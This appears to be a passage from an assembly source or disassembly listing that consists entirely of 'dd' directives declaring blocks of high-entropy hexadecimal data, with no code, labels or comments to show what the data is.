		dd 33F072h, 31DA43AEh, 0D77751A8h, 0BE086367h, 318207Ch
		dd 272340E4h, 93C9C001h, 0E983F0CAh, 71000DEEh,	6F051210h
		dd 364BC6ECh, 68395549h, 2A016546h, 8AADA644h, 0C50B0C57h
		dd 0F86A1C21h, 0F2E501D0h, 4BDDE85Ah, 605B9D70h, 2869D0B5h
		dd 1376BE6Eh, 695C6A30h, 391BB8E8h, 7E0C02FBh, 821553Eh
		dd 592459C0h, 0C2CDF2h,	0F9BF83B1h, 67F50BCEh, 7DC47700h
		dd 1866619Eh, 201D3C8Dh, 38CF1000h, 0C3E92665h,	0D900A3E2h
		dd 3F036B66h, 49AF1Ah, 0A29CAAF3h, 0BA68D740h, 722EC802h
		dd 0C0AE1219h, 31B6F2h,	33EC2278h, 0D0CBAB45h, 0ED7CBD03h
		dd 0E0A363EBh, 0F604FF66h, 0B6170098h, 2DC496E4h, 9C75E550h
		dd 0A9003FE0h, 0DA5F3E62h, 0D78C91h, 0D901E1A1h, 4B06AF42h
		dd 0EBDEB300h, 7509393Bh, 8B410094h, 13C0736Eh,	0DB00076Dh
		dd 3FA993CFh, 2D5929h, 50D778D3h, 0FBD9C249h, 0D1A12600h
		dd 833D9ED5h, 33AE0FDEh, 17002F66h, 8D13C9D8h, 0DC973200h
		dd 0CBFD5B7Ch, 0F25E3B99h, 8ADFA380h, 19D8F686h, 288C5433h
		dd 0FD5DF8F0h, 418800D2h, 2DB3F2D1h, 0D300281Eh, 0F13F4455h
		dd 5FA438h, 0F4850708h,	0FF16FE11h, 0BF1F1701h,	0D20C74C8h
		dd 9A15C4h, 0DC3AA961h,	0ED31D584h, 0A69F9E00h,	0A7883640h
		dd 0E377ADh, 2B154EC1h,	62014F68h, 146C900Fh, 13E040A8h
		dd 0C2ADF8h, 2F1D260h, 0F9972440h, 7D45B500h, 0C7C8CF71h
		dd 743F0F8Eh, 142012ECh, 1D5F076Eh, 0C2DCFC00h,	0BEA64235h
		dd 50F02Fh, 3275A0C5h, 56D1F37h, 3A217F2Eh, 989F14h, 0B3BAEFBh
		dd 0CC1364h, 8938F32Eh,	98A1ECCFh, 80694E3Fh, 808AF69Ah
		dd 0F8E809h, 3A148D4Ah,	0B029DF02h, 0F0F95700h,	9E87D5F3h
		dd 62600024h, 34C29CF8h, 4C00798Eh, 0A2B44318h,	1E4464F2h
		dd 0DD0ABC13h, 2105C14Eh, 607EEB63h, 56F487FAh,	62734A00h
		dd 5E7ABA89h, 0DF38006Fh, 5D0BDC86h, 52039ACCh,	533B0DEAh
		dd 0D5D0E0FCh, 0FFA50021h, 0D2B74542h, 4E004FF5h, 473B5014h
		dd 0A13360h, 5F94A4D5h,	0CFD79E3Fh, 505BDB00h, 950285A3h
		dd 0F2711Ah, 33F81132h,	0D61B3E3Ah, 829FC100h, 8E253809h
		dd 0A81C005Dh, 98B9B4DBh, 3600F4D7h, 1343E121h,	14A6DA4h
		dd 1DBBFE51h, 0E0417B37h, 3F009FB1h, 0C045812Dh, 2833E9h
		dd 0EB83B592h, 70D97E68h, 0DFCF3B03h, 0F10B26BCh, 0AED49330h
		dd 98EA0054h, 6080CCCEh, 0DF01128Ah, 33F675E9h,	7120D444h
		dd 64C005Dh, 272B7B67h,	0A53C56C7h, 0D26A83A0h,	0F8EAFEEBh
		dd 48572Ah, 801C8EE2h, 26CB2F29h, 3DC7DF0Eh, 0ED98C016h
		dd 0EA5984BFh, 0FFC0000Bh, 6AF9285Bh, 23000263h, 0FA0FB017h
		dd 0C07E7BA0h, 9301CFC8h, 0C301CC20h, 6D179FCDh, 2AD9FDD9h
		dd 9276E8h, 0DBEA9D4Ch,	50F22934h, 456B6800h, 484E72BCh
		dd 2C6048ADh, 78F5B800h, 0F66AC121h, 0F101A91Bh, 0C938F0A8h
		dd 4A421222h, 0AF5005DEh, 40601E9Fh, 78E54F9Ch,	0BA0774EDh
		dd 37621B3h, 36FD4520h,	0E4730023h, 0DF8ECF55h,	60009FCAh
		dd 0EC5F7517h, 0E644E0h, 163C1F5Dh, 0DDE553A6h,	4B07C000h
		dd 0F99439A3h, 902A305Eh, 5CEB3F54h, 0E3D20400h, 2687CE2Dh
		dd 365A3B6Eh, 27633C00h, 0C549F13Ah, 0B059A700h, 484BE3FAh
		dd 719400C2h, 3E64F621h, 0DF0073F7h, 3FB8C598h,	4E835Fh
		dd 4D9871Fh, 0C87A37FCh, 0A02AF700h, 5F06EDDAh,	26071E42h
		dd 0D50441B4h, 0D0CF3F65h, 0FD009771h, 1EE4B9BBh, 7DA2B48h
		dd 60B3CE8Eh, 0CA852044h, 0D4004041h, 5EDC556Fh, 12834EAh
		dd 0E23CEE47h, 3001FA56h, 3B000824h, 7868CEB4h,	92A0C4h
		dd 5368A35h, 0C3D3556Ch, 4563E13h, 81911000h, 7185F2h
		dd 0B2DFB7B6h, 308CDBE0h, 3F7E4Ch, 9C213E78h, 1BB113h
		dd 0E80CE475h, 4CEA21Ah, 0E37AA701h, 28CBEF72h,	1ECCD1CDh
		dd 0FD651CC6h, 0EC3A7E0Eh, 0FA75B80Eh, 5C20BA40h, 2F000BA3h
		dd 2685DA9Ah, 34A48EBh,	9FF4BC63h, 45A0F3AFh, 950EE41Fh
		dd 224D12EDh, 0D79DD939h, 0C15E8204h, 87B349AEh, 0ED6D5B50h
		dd 0BFBE051Bh, 0DA101887h, 588B5781h, 531D7C4Dh, 88ECA428h
		dd 4B010267h, 52034A9Bh, 727F4CC4h, 0F77BDBh, 53848AFEh
		dd 9BDF8054h, 6A2100B5h, 431796h, 2CE2AEF9h, 919AA7F7h
		dd 0FD9B8E03h, 0E03AB2E7h, 51AC44h, 0C24D8889h,	47976209h
		dd 5947800h, 5EDFBBF0h,	0F37A241Eh, 2FD00078h, 979D3FC5h
		dd 83804891h, 8A64BD11h, 0E9863996h, 48265280h,	437C0BF5h
		dd 0CC34EB00h, 9C3CD50Ch, 0BDA82C54h, 855006Ah,	0DFEF612h
		dd 0DEAACA00h, 20597976h, 7180F5A5h, 97844172h,	9B017FD3h
		dd 205076F7h, 218422BAh, 0C7837870h, 0A54081B4h, 0B430EC2Dh
		dd 1C24CBE8h, 0A07B414h, 70810E2Ch, 108FCFC5h, 4700085Ch
		dd 9533F036h, 3DF64500h, 966CE04Ch, 183B00AAh, 71796F2Fh
		dd 61C0851Eh, 0C0B8ED9Ch, 0F2CB0C09h, 895812C3h, 5E9A1106h
		dd 54298730h, 7E5022h, 0C7CE66AAh, 4A52658Fh, 7E928ABh
		dd 0F530EC5Eh, 6900CCFCh, 1A0F13E9h, 171696h, 15C61806h
		dd 0A37FA986h, 0B0455300h, 3AAC2DB8h, 5F2907C0h, 0B0BFB7D7h
		dd 0EFDE1ED9h, 9A544807h, 9E5821h, 0E9A21150h, 45C70923h
		dd 5F8971h, 6F09BCDh, 4AF103EFh, 0D1B6A9D0h, 210B001h
		dd 0A869BBE3h, 795260h,	32BC126Ah, 64284DAFh, 2BE85E00h
		dd 0BD84ABEh, 699C1CE9h, 5ACC8929h, 16C09400h, 0BF0568E0h
		dd 0FDCE82B4h, 0BB988447h, 0CF20F8EDh, 0F5DE1D96h, 66ED409Ch
		dd 2BF4695Ch, 3B00AF73h, 0B88E7AE6h, 60BA93h, 0DAFCC292h
		dd 9ADEBD1Dh, 0C3998A01h, 57CE254h, 3CF478A4h, 0B44D5500h
		dd 9CC0C9EAh, 2D652405h, 0DDC3698Eh, 0A8C2F81Dh, 0BCD350FEh
		dd 686F0088h, 6B4CA4CEh, 0DC01DA5Eh, 66BEC0EEh,	0DC64754Dh
		dd 9481009Eh, 0A0B263B5h, 0AC00F955h, 42BFA721h, 0F376A2h
		dd 9AAF88C2h, 94FD3001h, 0CE60E9EEh, 0AAC6D090h, 0A49DF8Bh
		dd 808409DCh, 10A34D4Ah, 9260F607h, 82F5B421h, 0B006F629h
		dd 0C2A20B8Ah, 5794C3h,	9897A0C1h, 90210770h, 0C05A8395h
		dd 3B72E5F2h, 0D14E7F00h, 7045BE36h, 61CF002Ah,	6E43B769h
		dd 0A400E76Dh, 2490E282h, 680C42h, 1C542991h, 0A2046A22h
		dd 0B8922F00h, 3FDA3A64h, 0A5BE003Bh, 76704035h, 0EEE24219h
		dd 0BCD8DB00h, 53FB79A8h, 0D940034h, 0E6701EF3h, 1B0E7CC4h
		dd 0BE80E01Ch
		dd 78D4A402h, 0E060573Fh, 37005F9Dh, 8CC55C64h,	5DDB29h
		dd 0CFD3939Ch, 0D465ABFEh, 1092E603h, 9EF017h, 685B8110h
		dd 12B70886h, 45C52100h, 11F3A90Dh, 79C86095h, 57E9FEE0h
		dd 20A40701h, 0D92AD63Ah, 6199E840h, 8C3C0E87h,	0F8208511h
		dd 40F0B49Fh, 2E6F20Fh,	36708373h, 0A44800AFh, 509FDFAEh
		dd 30002161h, 2A84030Dh, 0D71368h, 0E4C592F9h, 90BE373Ah
		dd 0EA50AC00h, 0B38A5970h, 476B0066h, 0A882965h, 8097D4Dh
		dd 0FC1D930h, 0C1509B9h, 0F886300Eh, 693E0028h,	0E0DA7EDCh
		dd 702D54Ah, 5A36C4CEh,	41B9C06Eh, 69EA332Dh, 47A0E151h
		dd 0AE00CD99h, 3B1EA939h, 6C97ECh, 0ED5E2D9Dh, 35C85770h
		dd 1E8CCC3Bh, 1F4080DDh, 0BD22404Bh, 957900B1h,	0FF3ACD62h
		dd 6FB8F283h, 0BB001B76h, 89C763E6h, 0D35DC6h, 4A84826Ch
		dd 1456F044h, 0A310E905h, 0F780E206h, 38587D64h, 5D89A686h
		dd 27079E99h, 3BA04FAFh, 51234DBFh, 1C58F660h, 71F9125h
		dd 0F748BEB5h, 0A9ED10FDh, 5B03DC5Ch, 8119867Fh, 250AA088h
		dd 0F667094h, 8C4FA657h, 0C6AE52C3h, 0EEC5E6A8h, 0BDC158h
		dd 0FEBF3F34h, 0A0567FD9h, 8B6ED4h, 8168AF71h, 745FE56Ah
		dd 49252900h, 0DB0B554Bh, 38AC00B1h, 0AE9F45D2h, 0C57E1A43h
		dd 81711E3Dh, 0B96B460Fh, 0DAE88451h, 28D56091h, 0A2017A8Bh
		dd 41707107h, 5CF334F5h, 3A21011Ch, 76240D74h, 773CC54h
		dd 0FD997503h, 749BE6Fh, 0FB365040h, 7890A10Ah,	9931F0A4h
		dd 0B7D9701Ch, 0C5021380h, 0C07FA14h, 9BD8D744h, 0CD010C79h
		dd 0F51BA1A9h, 36C54CBCh, 3EA3C460h, 6C8342DAh,	9079EFCh
		dd 166F5588h, 0E55B9803h, 0EB42EA36h, 51308845h, 5050C092h
		dd 9B780FCBh, 0C0805950h, 80793700h, 7D3396FAh,	9529C9A5h
		dd 745C8000h, 0D300022Bh, 69D151BAh, 112202Dh, 0C6C44D29h
		dd 0C0E71F27h, 4500803Dh, 100D54D5h, 0A3B6F8h, 3EB20AC9h
		dd 783C7744h, 0BC03D6E4h, 1CA4319Eh, 0BB8BC839h, 10366E96h
		dd 0B08267C7h, 0C03318Dh, 0AB686300h, 53DC3BF6h, 0E8C50048h
		dd 26B53FA9h, 74006B5Bh, 0C3A27DF4h, 863C1h, 0F6A9E98Ch
		dd 1556399Fh, 2067DE29h, 0CCE0D363h, 83307930h,	0D7E6B403h
		dd 0C9298D35h, 50809058h, 9194D18Ch, 0CB06B8CDh, 0E7341C72h
		dd 0CE0D0048h, 0F475092Eh, 903E3D74h, 3BE6001Fh, 0E78D8F65h
		dd 1CA70F63h, 0FC0066EFh, 7D06E20Ah, 0E66BE50Fh, 888ECF7h
		dd 6760B73Bh, 0A700996Ah, 6CF65BD9h, 0EB226F2h,	4F850B81h
		dd 2A374C00h, 0E0017BA4h, 0FABC29B8h, 0A440A2CCh, 24957FEh
		dd 0DEE6653Ch, 0DAE0B5B7h, 0AF006C8Ch, 0A458A80Ch, 0FD2E9E3h
		dd 0B90D48A1h, 70B854h,	0F659F272h, 0F50883E7h,	6ADA6C05h
		dd 80607582h, 111FFCADh, 0A3735ABFh, 0CAE5E08Bh, 66C904F8h
		dd 8406DA78h, 52F00791h, 678DF0C1h, 620F09E5h, 346A864h
		dd 0E944F3E9h, 0EB707755h, 0EEC7999h, 6111653Ah, 35F56823h
		dd 25470498h, 0AB58A300h, 6D77F4EBh, 51B23DB9h,	64408051h
		dd 0A78DA07Ch, 8E220420h, 0C00532A5h, 1CE10174h, 0E5033Eh
		dd 0D176A6F7h, 5B507378h, 0FD0026CCh, 66AFA244h, 3532FEEh
		dd 64F8F3BAh, 0E8E01DD4h, 0B9146EE5h, 6C46D02h,	3407A4B6h
		dd 0F7251E50h, 0A79292h, 50866540h, 6F7461D0h, 4C75EB76h
		dd 0CF30EA7Ah, 0E36720F8h, 0B3470022h, 140857F3h, 0D101B599h
		dd 0E502F1E1h, 0D8855F5Bh, 208BF720h, 7A9A812Ch, 0ED380B10h
		dd 180008C9h, 0AB7CA665h, 0F491C707h, 2AB923F5h, 42803CB4h
		dd 3482AE84h, 5FBE0959h, 80000814h, 4E15AC9Dh, 48FC2430h
		dd 7FB8B45h, 409A5C4Ah,	5838D3AEh, 0FCA2A1h, 276F812h
		dd 941B909Ch, 7C44F562h, 8EFF781Bh, 2D6CF071h, 40220071h
		dd 57BD2F52h, 254E1C2h,	6B0051B8h, 0CE60182Bh, 0A2A9FFAh
		dd 7730A1DBh, 8BEA82A8h, 0D8A331D5h, 5BD09A0Ch,	23006A19h
		dd 0FBA717Fh, 6BAFF1h, 0B95579F5h, 8DEEA99Dh, 96BDEB00h
		dd 809B8B9Ah, 5FE0507h,	0C74E5402h, 0DB514043h,	0B70090C7h
		dd 9FFB3EFAh, 0E20514h,	35C1914Eh, 170F200Bh, 404F341Eh
		dd 368C2CC0h, 0B82850h,	39EC41C0h, 0CD9C965Ah, 0E9741EF4h
		dd 0F1482700h, 5722E69Dh, 504A6B8h, 5BD1D5BDh, 740C7B30h
		dd 908030ADh, 30146EEEh, 0D810000Ah, 462342A3h,	6C148AF7h
		dd 100C0B45h, 568429EEh, 182A2208h, 21843A2Eh, 0CB152272h
		dd 2A9E1024h, 200F5A84h, 884741E6h, 21841D5Eh, 0CD087AA2h
		dd 3C954E11h, 85395010h, 2404B196h, 0D22167BFh,	0AA0C41B3h
		dd 50FE0814h, 0A9B92426h, 3080FA30h, 0E087844Dh, 0BE6D468h
		dd 118DE38h, 0FDF46043h, 1880014Eh, 0E52207CEh,	0A20770F0h
		dd 0C37496B8h, 370294C0h, 0D8B0009Dh, 5B0CF16Dh, 0CD60F7F3h
		dd 1DFCD739h, 43820105h, 6B981306h, 0D319D0F8h,	94B1CE07h
		dd 7CD074ADh, 3BBA702Dh, 2180912Ah, 0FD842673h,	8007A39h
		dd 0F07B5C33h, 6379F2h,	3EAC6965h, 0D4BB8FD0h, 0C4DD7102h
		dd 90EBF885h, 3015664Ch, 2988633Fh, 450003CFh, 6778A77Bh
		dd 0EB6F6Ch, 0E4D3E3D2h, 99F0C8B0h, 64B49600h, 0BAA7E0A1h
		dd 2ACC0037h, 0D149176Fh, 2D1C25D6h, 0C6830519h, 0A2C3A5B4h
		dd 311CB88Dh, 508087B7h, 39DE29B0h, 6CFF0E4Eh, 61E016A3h
		dd 0BCD8D659h, 0C00F6E2Bh, 0E1A5C2h, 9374F9ACh,	0B58948C0h
		dd 0C05BDB5Eh, 6A014A28h, 0A1E85C8Eh, 78AC58h, 0D66CAE2Eh
		dd 0FABF1A36h, 1F4A0A15h, 405C828Ch, 2AADE4D9h,	32DB7B00h
		dd 0FD176D53h, 267563h,	73115B3h, 0EC2DC429h, 4A6AA603h
		dd 0E92FC728h, 693079AFh, 0BCE550DCh, 0B7FA01D4h, 83BA1E04h
		dd 0AF21CC4Dh, 0B36CF002h, 85EC230Bh, 841D6614h, 278AB600h
		dd 6E7E7492h, 0D0A8B0C7h, 0B7E21176h, 5C54A969h, 0C4C28h
		dd 0FBA3A17Ah, 0CEFF3A66h, 4BE61907h, 0B4EA1328h, 0C38E1400h
		dd 78097E3h, 2594E227h,	1EFF0B0h, 44987EFBh, 56ACF30Ch
		dd 73F3166h, 0BD13CBECh, 0FF6D91BCh, 0A6F2DCFDh, 0B365F804h
		dd 748C09B4h, 0A0024395h, 13C64658h, 0B9BCB7h, 330F14E5h
		dd 0D331D819h, 3C60D06Dh, 5DCC40FEh, 48EF8027h,	0F95FB9C1h
		dd 10F09352h, 0D478C05Ah, 0FC9B8F5Dh, 40C8AB01h, 2772D3F5h
		dd 98E6AC4Ah, 0BCA0A700h, 8F0EE18h, 467924D5h, 0C9885194h
		dd 0AD4276Bh, 44763982h, 7B680C55h, 4D00E008h, 19C388FFh
		dd 489CEB5Ah, 0F2A0E8C9h, 390045A0h, 19974B4Ch,	12B148Bh
		dd 15626D82h, 0EEE783Bh, 0F0B1DC95h, 76D7F89Ah,	2BA11A00h
		dd 2D4B192Fh, 844052BCh, 0E10DC681h, 3320201Ch,	0C479FE01h
		dd 3E8D4B6Eh, 6DC860C6h, 3A8B0055h, 0BA330E20h,	9A00B718h
		dd 9DD205FBh, 6B3666Fh,	53F1F744h, 940080B4h, 19086C56h
		dd 0F02CD14Fh, 110B0AFBh, 4D0C95Bh, 402EBB21h, 5CB4CBDFh
		dd 8DC00360h, 7146A4C3h, 0B0648ADCh, 0F17A3545h, 0E4000832h
		dd 46F8CE23h, 0D73FCADBh, 64D8089h, 816DAC87h, 0E1F6077Fh
		dd 0D94FF29Bh, 6690C15h, 12D9CAECh, 208CC9F0h, 0CC683104h
		dd 46478E00h, 9A150C17h, 58FCA5EDh, 630160EAh, 52E2AC81h
		dd 0F4486E37h, 61E40AB1h, 218CE5DFh, 8563C380h,	28EC382Ch
		dd 8B3D3CF4h, 72E8A1ACh, 5CA9020h, 9724C91Bh, 268F1431h
		dd 29067E72h, 410E228h,	19A9708Fh, 5F74411Eh, 18404798h
		dd 4205E357h, 709F1E72h, 15112398h, 0C3C0A9DFh,	5C5FC64h
		dd 2FF0BEDDh, 622081E1h
		dd 0D260F44Bh, 6EEF800h, 7A3B66DFh, 0C8F53050h,	752BEBD0h
		dd 534EF58h, 0F17C72A6h, 74049480h, 0E73E15F0h,	31029C83h
		dd 6086FB25h, 98D80CEBh, 2E0113EBh, 0D2377949h,	77CCF8AEh
		dd 1F720982h, 209587h, 765EB4C9h, 9C654Dh, 0E3B1C507h
		dd 18406F9Fh, 0A0F65B21h, 351DDDC2h, 0E4EAA10Bh, 540C310Ah
		dd 904AB0EBh, 58B15250h, 85122C46h, 940C40DFh, 0C7AF2E7Bh
		dd 98EB7903h, 2BD5042Dh, 0F604D441h, 78A5DC07h,	110748Ah
		dd 7272F0Ch, 2DEC4844h,	80EDB24Ah, 0BDF824C8h, 0E203C090h
		dd 0E0E90161h, 0DDA6A0D6h, 0A44951B0h, 2F14341Ah, 85AC4CE4h
		dd 106DD630h, 2821A7F4h, 9DC9FECh, 38BCFB6Ah, 74F75C83h
		dd 9E48E5B1h, 2C51FC19h, 43184A2Ah, 0B92278A0h,	8C8434Eh
		dd 954D9ECDh, 63080CC4h, 0B0956F10h, 20FD2624h,	180C1932h
		dd 2184647Bh, 8A0F2B98h, 5C08B1B7h, 768A2E52h, 140830DEh
		dd 18594737h, 3834C044h, 0B6500424h, 25226C0Ch,	0E58F112Dh
		dd 6CF82A6Bh, 78436628h, 5B2AF443h, 77282130h, 48E3E604h
		dd 8218A44Ah, 0A276D675h, 90A99006h, 5CAD188Dh,	9D633101h
		dd 0C6192F6Fh, 44314495h, 6F09034Fh, 4E152EB8h,	84D62638h
		dd 6F570090h, 0ADEF4E3Bh, 0C490077Dh, 3AB56600h, 7F7D958Ch
		dd 37780994h, 88901A65h, 0BC13E393h, 1C034297h,	1ED53E13h
		dd 0C03980B9h, 0B9A15796h, 0E4000BD0h, 3F8282Dh, 7C9ED4EAh
		dd 5BCA30E7h, 0E4BAC0A1h, 46C5212h, 91C30883h, 8887B195h
		dd 0B9315FF9h, 21784880h, 0FB122399h, 0FC0417B7h, 7C1553DFh
		dd 0FA801C47h, 0F18C2C75h, 0CC060E29h, 0BCAC4700h, 9E02AC7h
		dd 0E8126E78h, 0DBF29403h, 0F94761C8h, 0D4672274h, 0EBC04F58h
		dd 0B2016293h, 0CC460080h, 84ED6E39h, 14003BCAh, 0F186F60Ah
		dd 0E8EE83h, 13967E1h, 0A4D15C0Fh, 604B170Ah, 7B001437h
		dd 0DACE3340h, 0D87430h, 250B655Fh, 0DF5C1C19h,	1723FF00h
		dd 9D516918h, 41E20003h, 2B611E39h, 8A3C5CF4h, 152A001Fh
		dd 28B6B996h, 0ACAF1E9Dh, 0C5A840FBh, 0FA0ADB77h, 0AE587900h
		dd 26418AF0h, 1196303Dh, 0AC34BB98h, 51E8EA00h,	88C74B1Fh
		dd 0E76E30C1h, 0BEA96768h, 8D652301h, 14F2C3CCh, 0F13B188Ah
		dd 0B7851D68h, 678B880h, 74520023h, 0C6E7503Eh,	2400122Ah
		dd 5A1F5DECh, 58C9335Bh, 92008017h, 3BD16CADh, 0A5637901h
		dd 0F560410h, 3C2861A8h, 0C1848980h, 88C010FEh,	35DA1671h
		dd 0DBFD06CAh, 18080E24h, 0F0EB5700h, 0A26A6356h, 0F8A561D9h
		dd 0B09719C1h, 858D1821h, 89F8D0h, 0E552C2D8h, 0B774CF23h
		dd 7A315D62h, 0C684B83Fh, 97B90564h, 0CAE062h, 0D1BCCFC0h
		dd 343E29EBh, 3DB7984Fh, 0C051A8h, 68482F7Eh, 3241877Bh
		dd 0A5D03805h, 0BA8086F4h, 7C52757h, 0DD316D0Eh, 337EC079h
		dd 82E7CA92h, 51DBAD18h, 0E9808F12h, 0CC1400A0h, 0E09E0B6Bh
		dd 2AC11530h, 91884EAh,	402F407Ah, 11A8695Eh, 0F0ACE500h
		dd 0EF05D565h, 9F10390Ah, 200A0CDh, 8CCA30E6h, 0CCCF008Bh
		dd 0E563A21Ch, 0FF0DF65Fh, 58D9ACC1h, 3EA41040h, 1DF0E451h
		dd 0C043A0DBh, 418EE2C1h, 0AE3104CAh, 3628A130h, 0A8635200h
		dd 0E8A46930h, 54A60Bh,	0EB0EC8E9h, 77E53B9Bh, 74903DE4h
		dd 2C9A8B0Ah, 4916A4D1h, 0BCF110h, 74C08589h, 0C33791F7h
		dd 2FF1AAE8h, 0CEA2B004h, 0C9C27062h, 3C3098F5h, 0E6FE2398h
		dd 4F47B88h, 8C2DCh, 4A73BA39h,	0C63C07C7h, 5C22CFE5h
		dd 0E6399530h, 77490059h, 0B03A9CADh, 3602306Bh, 283E2338h
		dd 57093800h, 0CFB3FC7Eh, 0DE972475h, 191F40DCh, 9000F45Dh
		dd 0CA0A0DE7h, 20DE2E38h, 103BE3Eh, 146A4948h, 9F500089h
		dd 0DDEA8135h, 3228D5FDh, 2493A043h, 0E79D0B0Eh, 0C09F1DC0h
		dd 2284E671h, 676100DEh, 1F05BA36h, 0D6004BE9h,	0E515747Fh
		dd 2429F49Eh, 0A4981331h, 3A02082Ch, 828C6601h,	0F882F035h
		dd 39278D60h, 278A4E41h, 81BA0250h, 0C20131F5h,	0CD482043h
		dd 3548271h, 5CA5B60h, 0D9B0EF1Ch, 0F83E1BC5h, 25B306A8h
		dd 0F00A79h, 81F3CA73h,	3B68DE72h, 1C9E9C01h, 49CB8FA0h
		dd 7984A1A0h, 0CE0B2824h, 0E7F902C8h, 0D3BF2CABh, 0AD9844Bh
		dd 8907D270h, 0B088093Dh, 4B81D193h, 0ECF756F9h, 29CE880h
		dd 0A1A6844Ah, 50266478h, 5C414079h, 5EE8C168h,	0ED7830B1h
		dd 8694CEA8h, 5420A660h, 20E1E6h, 0B801F797h, 0FF0FDEDCh
		dd 50CE0724h, 1E6C30B0h, 0E6E58051h, 78B0DB31h,	0B7CCB404h
		dd 3424E3F7h, 231E000Ah, 1A81BD84h, 0CC0069C9h,	0E0D5EFEBh
		dd 0F0B88Ah, 0B2FD2F3Fh, 435C9FC2h, 0DBF77800h,	9089379Eh
		dd 39170CB4h, 9C116AE8h, 833ACA08h, 0F098C2F1h,	786A1D18h
		dd 66F400AEh, 48FE7CC8h, 46037B75h, 0FC5EAD20h,	0E9379042h
		dd 0FC56B841h, 0D3B500CDh, 9B169E91h, 0BE01B95Dh, 0C7AB9A10h
		dd 9E201819h, 0E5F91904h, 0BAB868FFh, 86C93871h, 381BA2F2h
		dd 53410319h, 0FD5CDADFh, 0E2A801C3h, 0D203BF92h, 9E840C7Eh
		dd 688107C0h, 0E082F231h, 6294F057h, 4B6DC600h,	3B70EFF8h
		dd 6E3D00CCh, 0E10BCD18h, 0E2009009h, 20076717h, 0C1821FA4h
		dd 0C51CD789h, 0BD2C20FDh, 0DD4E8B00h, 0A59F0BBFh, 0F03F1575h
		dd 0F701A8B5h, 5F467AC2h, 5729E09Ch, 5E605AFAh,	0C4937138h
		dd 0C85B6085h, 50FD8DDFh, 551DD00Ch, 39E351E9h,	2E07A1DEh
		dd 81964692h, 80F8E41Eh, 90C61A10h, 5D32CC9h, 9903DB6Dh
		dd 34304552h, 0F2A04AF4h, 3BA08048h, 8DB07655h,	1D58B81Ch
		dd 85008850h, 1F527C19h, 0F8A0786Dh, 5A008BDBh,	0E2A933B9h
		dd 7390922Fh, 4C840028h, 89194174h, 7BB8621Eh, 0A09360CFh
		dd 1F558F2Dh, 7D88154Ch, 7307DC9Ah, 20FAA992h, 0A60594B8h
		dd 5F3F19C0h, 639C3Ch, 10849AA7h, 6C02C6D8h, 8C71DE28h
		dd 0AA01FB01h, 0C078C9C1h, 2D8A60h, 69C7B064h, 750E887Ah
		dd 98511103h, 0B099BAF2h, 0FE8E4921h, 6F9312F7h, 0D61C40B7h
		dd 0E2C9459Ah, 82DFF000h, 0F383BD29h, 6D810C98h, 3F299D34h
		dd 132CB701h, 587F6C75h, 63246040h, 14009081h, 9079B91Fh
		dd 97D03903h, 2489E4A3h, 1D0230F7h, 5491F207h, 5200C9DBh
		dd 5312C0h, 0E83627D4h,	0FEFD56Bh, 589F8830h, 755A665Eh
		dd 0AF440EF8h, 0F0602B52h, 988DD4D5h, 6869B100h, 440961E4h
		dd 63EE00C4h, 5C5E7AE3h, 50C037BDh, 3A429AB3h, 82DB01A0h
		dd 0F459E586h, 0DF92FCECh, 0A263BC0Ch, 82B1E1h,	0E783CD62h
		dd 25208C3Ah, 4B723900h, 0F847C7E1h, 71410E3Ch,	0A6E04A3Fh
		dd 437DF9FEh, 0F7152F03h, 0FA40BB9h, 0FFB7EE78h, 0C7099800h
		dd 0B174C211h, 9D5A10C0h, 784CF2B3h, 0CF5500F8h, 3188AC1Eh
		dd 6260C85h, 722C82F1h,	45C08D1Dh, 46B9C8DBh, 798E020Dh
		dd 415A6134h, 0D8A6088Ch, 0CE02F4Ch, 486971A4h,	49E0054Ch
		dd 3083D9C4h, 0DE76C720h, 0A5F84515h, 446C1418h, 8058D814h
		dd 114A662h, 0C2E8508Ch, 70089019h, 30AE45DDh, 809D9E23h
		dd 1942C1ACh, 7D74AF39h, 70C44CAEh, 0CC708AF8h,	19717B77h
		dd 0C78DD610h, 9F8EEF1h, 1F856DC8h, 0A924BAECh,	61C08A30h
		dd 210C6014h, 7900197Ch, 59F713D1h, 0A7C66493h,	0F4AE8A9Ch
		dd 4B2C6120h, 0A038047Bh, 0CC2D51F8h, 0C84C1811h, 44F98441h
		dd 47CE305Ch, 0C36C0A9Ah, 2F50187Dh, 7B9E308Bh,	0B00A8C29h
		dd 3E44C257h, 209A910Fh, 58DAACC6h, 0C0659931h,	0B4514CD9h
		dd 0EC4E0BA2h, 0AD4E7061h
		dd 0CC5048F7h, 60801854h, 0B9184674h, 0C7584581h, 10C16805h
		dd 2C32E248h, 80DEC311h, 18161AD8h, 0E8CB73D9h,	0CC3E5019h
		dd 69651D59h, 17ED02C3h, 0ACC1D9F7h, 8504BC6h, 0B0F8A76Eh
		dd 45120C59h, 8833A0A7h, 0C9E89FAAh, 181F6A00h,	1774B0B9h
		dd 0E06CF933h, 79091B39h, 1BC0A888h, 0B937C47Dh, 0C0D56010h
		dd 9B79A803h, 8B100044h, 6399F716h, 0A4ADC726h,	0C64C79B1h
		dd 3CB9308Ch, 0BF625968h, 48B69980h, 0C3479A98h, 0C36BDC18h
		dd 30439FE3h, 0D74AC5F8h, 896C6C30h, 0B9F614D4h, 0E051D44Ch
		dd 1A91518Ch, 0B09094F0h, 0B0B17CA5h, 8C1CACB6h, 0F50EF205h
		dd 0D4116E39h, 6288D874h, 0AC268EB0h, 103C70ECh, 70E6302Dh
		dd 0E44ACE2Bh, 0D914CC81h, 20F159B1h, 0B7D66980h, 83BA4B9Eh
		dd 115DA630h, 0A4D6Bh, 0B6912B9Fh, 1EE021ABh, 685CFE38h
		dd 0F31F147Ah, 8005A6C8h, 872FD78Bh, 0F88E5B96h, 1CBE221Eh
		dd 87166B3Ah, 30213687h, 2C60D645h, 44680EFDh, 0FE054BA9h
		dd 139686F6h, 4F182Ch, 1FBA337Dh, 0AD2BB694h, 0F656A475h
		dd 9A871F14h, 0EA8A2240h, 84A0BAEh, 985693B4h, 7BFB11E0h
		dd 4CEB8891h, 1C3C3882h, 782A31BFh, 0E804CB29h,	103A7691h
		dd 9A3614A0h, 9D03C018h, 0A83D4095h, 0E5779ACh,	56B8F68Fh
		dd 0F7373680h, 4C151686h, 0C16089DDh, 0B6E24257h, 96BB8B13h
		dd 0B87F4A03h, 14483693h, 0C4E8D638h, 71401621h, 60D9029Ah
		dd 196B408Bh, 34AE9193h, 0C821E408h, 794B86C7h,	6A74D095h
		dd 580218A5h, 21CDE3E7h, 40292D2Bh, 919848F0h, 38BE5634h
		dd 1578A02Ch, 88D0D3F5h, 0B3A50B00h, 0C50D1693h, 4188657h
